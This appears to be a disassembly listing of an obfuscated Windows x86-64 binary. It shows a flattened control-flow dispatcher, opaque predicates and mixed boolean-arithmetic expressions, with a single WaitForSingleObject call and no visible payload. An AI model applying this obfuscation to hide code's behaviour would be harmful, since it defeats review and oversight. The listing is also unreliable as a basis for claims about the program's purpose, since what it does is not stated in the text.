lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
or edx, 0x81ac0f
mov edi, edx
not edi
or ebx, 0xff7e53f0
mov ecx, ebx
not ecx
and edx, 0xa6aa6b38
and edi, 0x595410c0
or edi, edx
and ebx, 0xa6aa6b38
and ecx, 0x18407
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x768f4e92
and ecx, 0x8970b16d
or ecx, edx
mov edx, ecx
xor edx, 0x760ee29d
mov ebx, ecx
xor ebx, 0x760ee29c
and ebx, edx
xor ecx, 0x9f00822
and ecx, 0xffaea23
and edx, 0xf00515dc
or edx, ecx
xor edx, 0xf00515dd
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ebx, edx
not ebx
mov edi, ebx
or edi, 0x77cbc05f
mov ecx, edi
not ecx
or edx, 0x80340120
and edx, 0xa3f4c176
and ebx, 0x540b0009
or ebx, edx
and edi, 0xa3f4c176
and ecx, 0x8003e80
or ecx, edi
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x88343fa0
and ecx, 0x77cbc05f
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x2ba9c1b0
and ecx, 0xd4563e4f
or ecx, ebx
xor ecx, 0x2ba9c1b0
xor edx, ecx
test edx, ecx
setne r8b
sete r9b
cmp eax, 0xa
setl r11b
cmp eax, 9
setg al
mov ecx, eax
or cl, r11b
xor cl, 1
mov ebx, ecx
xor bl, r11b
mov r10d, ebx
xor r10b, 1
or cl, r11b
xor cl, 1
or cl, bl
xor bl, cl
xor bl, 1
or cl, r10b
xor cl, 1
or cl, bl
xor cl, r9b
mov r10d, ecx
xor r10b, 1
and r8b, r11b
and al, r9b
or al, r8b
mov ebx, r11d
and bl, r9b
xor r11b, r9b
or r11b, bl
mov edx, r11d
xor dl, al
xor al, 1
xor dl, 1
or al, r11b
xor al, 1
or al, dl
xor cl, al
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, ecx
xor dl, al
not dl
test dl, 1
mov edx, 0x6cfff2b5
mov ebx, 0x65a50088
cmovne edx, ebx
test al, 1
mov eax, 0x6cfff2b5
cmovne eax, edx
jmp 0x1401a10d4
cmp eax, 0x97c5c8c0
jle 0x14018a8d5
cmp eax, 0x9938c955
jg 0x14018ca3d
cmp eax, 0x98b28d0a
jg 0x14019059f
cmp eax, 0x97c5c8c1
je 0x1401969ed
cmp eax, 0x989faa7c
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x245d4e56
and edx, ecx
not ecx
and ecx, 0xefb28897
and eax, 0x104d7768
or eax, ecx
mov ecx, eax
xor ecx, 0xd4600
xor eax, 0x24100816
or eax, 0xdba2b1a9
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xe44038f2
and ecx, 0x1d4604
or ecx, edi
or eax, ebx
and ebx, 0xe44038f2
and edx, 0x1bbfc70d
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xdba2b1a9
and eax, 0x245d4e56
or eax, ecx
mov edx, eax
xor edx, 1
and edx, eax
mov ecx, eax
not ecx
and ecx, 0x82a42280
and eax, 0x7d5bdd7f
or eax, ecx
mov ebx, eax
xor ebx, 0x590bd176
mov ecx, edx
not ecx
xor eax, 0x82a42281
mov edi, ecx
and edi, 0x26d02e88
and edx, 0xd92fd177
or edx, edi
or ecx, eax
and eax, 0x26d02e88
and ebx, 0xd92fd177
or ebx, eax
xor ebx, edx
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x93339ddf
and ecx, 0x6ccc6220
or ecx, eax
mov eax, ecx
xor eax, 0x24c84220
xor ecx, 0x93339ddf
mov edx, ecx
and edx, 0xcb35301c
and eax, 0x34cacfe3
or eax, edx
xor eax, 0x34cacfe3
or eax, ecx
cmp eax, 0xffffffff
setne r8b
sete cl
cmp dword [0x1402656c4], 9
setg al
mov ebx, ecx
or bl, al
xor cl, al
not cl
and cl, al
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, r8d
xor dl, al
or al, r8b
xor al, 1
or al, dl
xor dl, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0x60d562da
mov edx, 0xabc14bb7
cmovne eax, edx
test bl, 1
mov ebx, 0x60d562da
jmp 0x14019b34b
cmp eax, 0xd5402a19
jle 0x14018aae9
cmp eax, 0xd5fc88d1
jg 0x14018cb66
cmp eax, 0xd5a5ec49
jg 0x140190666
cmp eax, 0xd5402a1a
je 0x140196be6
cmp eax, 0xd56ede22
jne 0x14016c950
mov eax, 0xe10b72dc
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xb38a049f
jle 0x14018abf9
cmp eax, 0xb402351a
jg 0x14018cc93
cmp eax, 0xb3d884fc
jg 0x1401907be
cmp eax, 0xb38a04a0
je 0x140196d29
cmp eax, 0xb39d2c0a
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov edx, esi
and edx, 0x3100040
and ecx, 0xc4873904
or ecx, edx
mov edi, ecx
xor edi, 0x84833100
xor ecx, 0x2340c20b
mov ebx, esi
or ebx, 0xc7973944
mov edx, ebx
not edx
and ecx, 0x6344ca0f
and edi, 0x84933140
or edi, ecx
and ebx, 0x6344ca0f
and edx, 0x182804b0
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x8d8f62d4
and edx, 0x72709d2b
or edx, ecx
mov ecx, edx
xor ecx, 0x2483a44c
xor edx, 0xa000b91
and edx, 0x9b640bb3
and ecx, 0x649bf44c
or ecx, edx
xor ecx, 0x649bf44c
mov edx, ecx
and edx, esi
xor ecx, esi
or ecx, edx
mov edx, ecx
not edx
and edx, 0x6ba760cd
and ecx, 0x94589f32
or ecx, edx
xor ecx, 0x94589f32
setne r9b
sete dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
xor bl, r8b
and bl, al
xor bl, dl
mov ecx, eax
xor cl, dl
and cl, al
and r9b, r8b
and al, dl
or al, r9b
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
and cl, bl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xa5a4575f
mov ebx, 0xa2fb37df
cmovne ecx, ebx
test al, al
mov eax, ecx
cmovne eax, ebx
jmp 0x1401a14d9
cmp eax, 0xf909a233
jle 0x14018ad05
cmp eax, 0xf9656495
jg 0x14018cdb9
cmp eax, 0xf93cb3aa
jg 0x14019094e
cmp eax, 0xf909a234
je 0x140196d3e
cmp eax, 0xf91b8ae1
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
and ebx, 0xca9b9055
and edx, 0x35646faa
or edx, ebx
mov ecx, edx
xor ecx, 0xca9b9055
mov eax, edx
xor eax, 0xca9b9054
and eax, ecx
xor edx, 0x35646faa
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov ebx, eax
not ebx
mov edi, ecx
not edi
mov esi, ebx
and esi, 0xf2c560c
and eax, 0xf0d3a9f3
or eax, esi
or ebx, edi
and edi, 0xf2c560c
and ecx, 0xf0d3a9f3
or ecx, edi
xor ecx, eax
not ebx
or ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x5baa711c
and edx, ebx
not ebx
and ebx, 0x33cc2704
and ecx, 0xcc33d8fb
or ecx, ebx
mov eax, ecx
xor eax, 0x48220010
xor ecx, 0x13882104
or ecx, 0xa4558ee3
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x130d50eb
and eax, 0x48a22114
or eax, edi
or ecx, ebx
and ebx, 0x130d50eb
and edx, 0xecf2af14
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x2d9589f5
and ecx, 0xd26a760a
or ecx, eax
xor ecx, 0x89c00716
sete r9b
setne dl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov r8d, ebx
xor r8b, 1
xor cl, r9b
mov eax, ecx
xor al, 1
and bl, r8b
and al, cl
mov edx, ebx
and dl, r8b
xor bl, r8b
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov edx, ebx
xor dl, 1
and dl, al
xor al, 1
and al, bl
or al, dl
mov edx, r8d
xor dl, cl
or cl, r8b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x68cf5a93
mov ebx, 0x7418a9d7
cmovne edx, ebx
test cl, 1
mov ecx, 0x68cf5a93
jmp 0x140195e0e
cmp eax, 0x861f028e
jle 0x14018aebc
cmp eax, 0x86bc1cb5
jg 0x14018cf61
cmp eax, 0x86bb6485
jg 0x140190a3c
cmp eax, 0x861f028f
je 0x140196e32
cmp eax, 0x86724576
jne 0x14016c950
mov rcx, qword [rbp - 8]
sub rsp, 0x20
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x20
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0xbf04370
mov eax, ecx
and eax, 0xf40fbc8f
or eax, ebx
mov ebx, eax
xor ebx, 0xf006888c
xor eax, 0x8c00310
mov edx, edi
or edx, 0xcc93712
or eax, 1
and eax, 0xcc93713
and ebx, 0xf336c8ec
or ebx, eax
and edx, 0xcc93713
xor edx, ebx
and edi, 0xaadb5452
and ecx, 0x5524abad
or ecx, edi
mov eax, ecx
xor eax, 0x5524abad
xor ecx, 0xaadb5452
and ecx, edx
not edx
and eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete al
setne r8b
cmp dword [0x1402656c4], 0xa
setl cl
mov edx, ecx
xor dl, r8b
xor dl, 1
mov ebx, ecx
or bl, al
xor bl, 1
or bl, dl
or r8b, cl
xor al, cl
and al, cl
mov ecx, r8d
xor cl, al
xor al, 1
xor cl, 1
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x6bd832dc
mov ebx, 0x8e85c08a
cmovne ecx, ebx
test dl, dl
mov edx, 0x6bd832dc
jmp 0x14019affd
cmp eax, 0xc1017eb6
jg 0x14018d073
cmp eax, 0xc0b92add
jg 0x140190a67
cmp eax, 0xbfd0b676
je 0x140196e5e
cmp eax, 0xc050500c
jne 0x14016c950
mov eax, 0xbb4de017
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xa3a775e9
jg 0x14018d0a9
cmp eax, 0xa34ba53e
jg 0x140190c36
cmp eax, 0xa2c3ce02
je 0x140197012
cmp eax, 0xa2fb37df
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r9d, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov r8d, edi
not r8d
mov ebx, r8d
and ebx, 0xb94bb479
mov ecx, edi
and ecx, 0x46b44b86
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4100900
xor ecx, 0x180bb070
mov edx, edi
xor edx, 0x5c1fb9f0
and edx, edi
or ecx, 0xa3e0460f
mov eax, edx
not eax
mov esi, ecx
and esi, 0x50af429c
and ebx, 0xc10b960
or ebx, esi
or ecx, eax
and eax, 0x50af429c
and edx, 0xaf50bd63
or edx, eax
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x45ba8de9
and ecx, 0xba457216
or ecx, eax
mov eax, ecx
xor eax, 0x8208c0c3
xor ecx, 0x9a10008
and ecx, 0x6df30b2c
and eax, 0x920cf4d3
or eax, ecx
xor eax, 0x920cf4d3
and r8d, 0x5afde901
and edi, 0xa50216fe
or edi, r8d
xor edi, 0xa50216fe
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
cmp edi, 0xffffffff
sete r8b
setne cl
cmp r9d, 0xa
setl r10b
cmp r9d, 9
setg r9b
mov ebx, r9d
xor bl, r10b
and bl, r9b
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov r11d, eax
and r11b, dl
xor dl, al
or dl, r11b
xor dl, 1
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov ebx, eax
xor bl, cl
not bl
and bl, cl
or al, cl
xor bl, 1
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
and r9b, r8b
and cl, r10b
or cl, r9b
mov eax, r10d
and al, r8b
xor r10b, r8b
or r10b, al
xor cl, 1
mov eax, ecx
xor al, r10b
or cl, r10b
xor cl, 1
or cl, al
xor cl, bl
and bl, cl
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x54051c53
mov edx, 0xcd84b8c8
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0x54051c53
jmp 0x1401a26bd
cmp eax, 0xe10b72db
jg 0x14018d0df
cmp eax, 0xe0dd034d
jg 0x140190db5
cmp eax, 0xe0ac7810
je 0x140197027
cmp eax, 0xe0d78121
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xe012a28
mov edi, ecx
and edi, 0x10c40104
or edi, ebx
xor edi, 0x10c40104
mov ebx, ecx
and ebx, 0xe13ad4d3
or ebx, edi
mov edi, ebx
not edi
and edi, 0xe13ad4d2
and ebx, 0x1ec52b2d
or ebx, edi
and edx, 0x55c86498
and ecx, 0xaa379b67
or ecx, edx
mov edx, ecx
xor edx, 0xaa379b67
xor ecx, 0x55c86498
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete r9b
setne r8b
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor dl, al
and dl, al
mov ebx, edx
xor bl, 1
mov ecx, edx
or cl, bl
xor dl, cl
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and cl, r8b
and dl, r9b
or dl, cl
mov ecx, eax
or cl, r9b
xor al, r9b
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor dl, 1
mov ecx, edx
or cl, al
xor dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x686288c3
mov ebx, 0xecb2709
cmovne eax, ebx
test dl, 1
mov edx, eax
mov ebx, 0x686288c3
cmovne edx, ebx
jmp 0x14018a4c5
cmp eax, 0x95a76cb2
jg 0x14018d1f8
cmp eax, 0x94ef71b5
jg 0x140190ed2
cmp eax, 0x9474cf5c
je 0x1401971a2
cmp eax, 0x94ef34a7
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xecd4b620
and edx, ecx
and ecx, 0x132b49df
or ecx, ebx
mov ebx, ecx
xor ebx, 0x10b085f
xor ecx, 0xecd4b620
mov edi, edx
not edi
mov esi, ecx
and esi, 0x12b05580
and ebx, 0xed4faa7f
or ebx, esi
or ecx, edi
and edi, 0x12b05580
and edx, 0xed4faa7f
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x260388f1
and ecx, 0xd9fc770e
or ecx, edx
mov edx, ecx
xor edx, 0xc1fc300e
xor ecx, 0x260300c0
and ecx, 0x3e0347c0
and edx, 0xc1fcb83f
or edx, ecx
mov ecx, edx
xor ecx, 0x80206c0
xor edx, 0xc1fcb83f
mov ebx, edx
and ebx, 0x7709c909
and ecx, 0x88f636f6
or ecx, ebx
xor ecx, 0x7709c909
xor edx, ecx
test edx, ecx
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
xor bl, 1
or bl, al
mov edx, eax
xor dl, cl
not dl
and dl, cl
or al, cl
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x59926e0d
mov ebx, 0x5dfb3957
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0x59926e0d
jmp 0x1401a14db
cmp eax, 0xd0a3c1d6
jg 0x14018d394
cmp eax, 0xcfe11bd4
jg 0x14019107f
cmp eax, 0xcf2217c5
je 0x14019726e
cmp eax, 0xcfacf365
jne 0x14016c950
mov eax, 0xcd84021c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xb0ff5248
jg 0x14018d47b
cmp eax, 0xb0971749
jg 0x140191284
cmp eax, 0xb070f0b1
je 0x140197405
cmp eax, 0xb080fd37
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, edx
mov edi, ecx
not edi
mov esi, edx
and esi, 0xbd0ff78c
and ebx, 0x42f00873
or ebx, esi
or edx, edi
and edi, 0xbd0ff78c
and ecx, 0x42f00873
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x62d9cb1d
mov ecx, edx
and ecx, 0x9d2634e2
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x905c83c1
and ecx, 0x6fa37c3e
or ecx, ebx
mov esi, ecx
xor esi, 0x388520
and edx, 0x66b2e27e
mov ebx, edi
and ebx, 0x994d1d81
or ebx, edx
xor ebx, 0x66b2e27f
and edi, 1
or edi, ebx
mov edx, edi
not edx
xor ecx, 0xf28548dd
mov ebx, ecx
and ebx, 0x4d437287
and esi, 0xb2bc8d78
or esi, ebx
or ecx, edi
and edi, 0x4d437287
and edx, 0xb2bc8d78
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd4359897
and ecx, 0x2bca6768
or ecx, edx
mov edx, ecx
not edx
and edx, 0xec4581e9
and ecx, 0x13ba7e16
or ecx, edx
mov edx, ecx
xor edx, 0x810fa280
xor ecx, 0x3870197e
mov ebx, ecx
and ebx, 0x56905c31
and edx, 0xa96fa3ce
or edx, ebx
xor edx, 0xa96fa3ce
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov r9d, edx
and r9b, al
mov ebx, r8d
and bl, cl
or bl, r9b
xor al, bl
and al, bl
or dl, r8b
xor dl, 1
xor cl, r8b
and cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x5cdeabfe
mov ebx, 0x9a5f5e84
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
test al, 1
mov eax, 0x5cdeabfe
jmp 0x1401a26bd
cmp eax, 0xf5f198c8
jg 0x14018d4b1
cmp eax, 0xf466911e
jg 0x14019141d
cmp eax, 0xf2ec8b8b
je 0x1401974cd
cmp eax, 0xf429cba5
jne 0x14016c950
mov eax, 0x95a76cb3
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x8f441788
jg 0x14018d4e7
cmp eax, 0x8ec8d83a
jg 0x140191448
cmp eax, 0x8e85c08a
je 0x1401975e4
cmp eax, 0x8ec5b902
jne 0x14016c950
mov eax, 0x12a9be8e
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xc9c0b24b
jg 0x14018d5dd
cmp eax, 0xc91f081e
jg 0x14019154f
cmp eax, 0xc8b5b2eb
je 0x14019776b
cmp eax, 0xc9114023
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea r9d, [rcx - 1]
imul r9d, ecx
mov ecx, r9d
not ecx
mov edi, ecx
and edi, 0x890208
mov edx, r9d
and edx, 0xb046c071
or edx, edi
mov edi, edx
xor edi, 0xb044c000
xor edx, 0x4fb93f8e
mov ebx, r9d
xor ebx, 0xb0cfc279
and ebx, r9d
mov eax, ebx
not eax
mov esi, edx
and esi, 0x47a33771
and edi, 0xb04cc008
or edi, esi
or edx, eax
and eax, 0x47a33771
and ebx, 0xb85cc88e
or ebx, eax
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x4f303d87
and edx, 0xb0cfc278
or edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xa7678f4f
and edx, 0x589870b0
or edx, ebx
and r9d, 0xa7678f4f
and ecx, 0x589870b0
or ecx, r9d
xor ecx, edx
xor eax, ecx
test eax, ecx
sete r10b
setne r9b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov ebx, r9d
xor bl, r10b
and bl, r9b
mov r11d, ebx
xor r11b, 1
mov edx, ebx
and dl, r11b
mov eax, edx
xor al, 1
xor dl, bl
or al, r11b
xor al, 1
or al, dl
and r8b, al
xor al, 1
and al, cl
or al, r8b
xor r10b, cl
and r10b, cl
xor cl, r9b
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
xor cl, 1
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, dl
and dl, al
mov r8d, edx
and r8b, al
xor dl, al
or dl, r8b
xor dl, cl
xor bl, 1
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xbf07c3cc
mov ebx, 0xe49165ad
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0xbf07c3cc
jmp 0x1401a26bd
cmp eax, 0xa9de3a0d
jg 0x14018d613
cmp eax, 0xa9a5c8ee
jg 0x14019164d
cmp eax, 0xa9769ff8
je 0x140197925
cmp eax, 0xa984223c
jne 0x14016c950
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edi, eax
and edi, 0x724dc485
mov edx, ebx
xor edx, 0x724dc485
and edx, ebx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0xac3f7afc
and edx, 0x53c08503
or edx, edi
mov edi, edx
xor edi, 0x44082
xor edx, 0xde72be78
mov esi, edx
and esi, 0x21ab3315
and edi, 0xde54ccea
or edi, esi
and ebx, 0x21ab3315
and eax, 0xde54ccea
or eax, ebx
xor eax, edi
not eax
or eax, edx
cmp eax, 0xffffffff
sete r8b
setne r10b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r9b
mov edx, r10d
or dl, r9b
mov ecx, r10d
xor cl, r9b
not cl
and cl, r9b
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, r8b
and dl, al
and r10b, r9b
and al, r8b
or al, r10b
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x3d588956
mov edx, 0x58bdd07c
cmovne ecx, edx
test al, 1
mov eax, ecx
cmovne eax, edx
jmp 0x140197763
cmp eax, 0xeca25bf2
jg 0x14018d64d
cmp eax, 0xec64c238
jg 0x140191784
cmp eax, 0xeb27fff7
je 0x14019793a
cmp eax, 0xec22deae
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x874c67d4
mov ecx, ebx
and ecx, 0x78b3982a
or ecx, edx
xor ecx, 0x78b3982a
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, edx
not ecx
and ecx, 0x89d09be9
and edx, 0x762f6416
or edx, ecx
mov ecx, edx
xor ecx, 0x20036000
xor edx, 0x89d09be9
mov esi, edx
and esi, 0xd62c0656
and ecx, 0x29d3f9a9
or ecx, esi
or edx, ebx
and ebx, 0xd62c0656
and edi, 0x29d3f9a9
or edi, ebx
xor edi, ecx
not edx
or edx, edi
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
or dl, bl
or bl, r8b
xor bl, 1
or bl, cl
xor dl, 1
or al, r8b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0x89ee2cae
mov ebx, 0xdab1c438
cmovne ecx, ebx
test dl, dl
mov edx, 0x89ee2cae
jmp 0x14019affd
cmp eax, 0x9cab5579
jg 0x14018d77f
cmp eax, 0x9ba55cd3
jg 0x1401917af
cmp eax, 0x9b6517d1
je 0x140197a06
cmp eax, 0x9b6afa2a
jne 0x14016c950
mov rax, qword [rbp - 0x68]
mov eax, 0xcbb45e60
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xda6392f2
jg 0x14018d850
cmp eax, 0xd9d2c7be
jg 0x1401917da
cmp eax, 0xd8e42054
je 0x140197a1b
cmp eax, 0xd9144caa
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0xfffffffe
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edi, ecx
not edi
mov edx, edi
and edx, 0xe9894e17
and ecx, 0x1676b1e8
or ecx, edx
and ebx, 0xe9894e17
and eax, 0x1676b1e8
or eax, ebx
xor eax, ecx
not eax
or eax, edi
cmp eax, 0xffffffff
sete r8b
setne al
cmp dword [0x1402656c4], 9
setg dl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r9d, eax
xor r9b, 1
mov ebx, edx
xor bl, r8b
not bl
and bl, r8b
or dl, r8b
mov ecx, edx
xor cl, bl
xor bl, 1
xor cl, 1
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
and bl, al
and r9b, cl
or r9b, bl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, r9b
test cl, 1
mov ecx, 0x56645dc2
mov edx, 0x9fdb565c
cmovne ecx, edx
test r9b, r9b
cmove ecx, edx
test al, 1
mov eax, 0x56645dc2
jmp 0x1401a26bd
cmp eax, 0xb9abb88d
jg 0x14018d886
cmp eax, 0xb93f25e5
jg 0x140191805
cmp eax, 0xb902f6a1
je 0x140197ad5
cmp eax, 0xb9224856
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0x3cb78979
and edx, ecx
or ecx, 0xc3487686
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x4c459755
and ebx, 0x30b20828
or ebx, esi
or ecx, edi
and edi, 0x4c459755
and edx, 0xb3ba68aa
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x35f4470a
and ecx, 0xca0bb8f5
or ecx, edx
mov ebx, ecx
xor ebx, 0x943ce73
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0x2af096b8
and edi, 0xd50f6946
or edi, esi
or edx, ebx
and ebx, 0x2af096b8
and ecx, 0xd50f6947
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
xor ecx, 0xedb2d6da
and ecx, edx
not edx
and edx, 0xedb2d6da
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xb67c9cb5
and ecx, 0x4983634a
or ecx, edx
xor ecx, 0xa431b590
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, ecx
or bl, dl
xor cl, dl
not cl
and cl, dl
mov edx, ebx
xor dl, cl
